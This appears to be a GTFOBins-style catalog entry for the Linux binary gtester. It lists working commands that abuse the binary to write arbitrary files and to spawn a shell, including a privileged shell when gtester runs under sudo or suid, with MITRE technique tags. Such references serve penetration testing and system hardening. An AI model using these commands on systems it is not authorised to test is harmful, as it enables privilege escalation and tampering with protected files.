Catalog GTFOBins

GTFO · Tool

gtester

6 techniques LinuxGTFOBins GPL-3.0

file-write

File WritePrivilege Escalation Linux

Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).

gtester DATA -o /path/to/output-file
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation Linux

Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).

gtester DATA -o /path/to/output-file
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write Linux

Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).

gtester DATA -o /path/to/output-file
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege Escalation Linux
echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux
echo '#!/bin/sh -p' >/path/to/temp-file
echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file
Context
suid
Native
shell
MITRE
T1059

shell

Execution Linux
echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file
Context
unprivileged
Native
shell
MITRE
T1059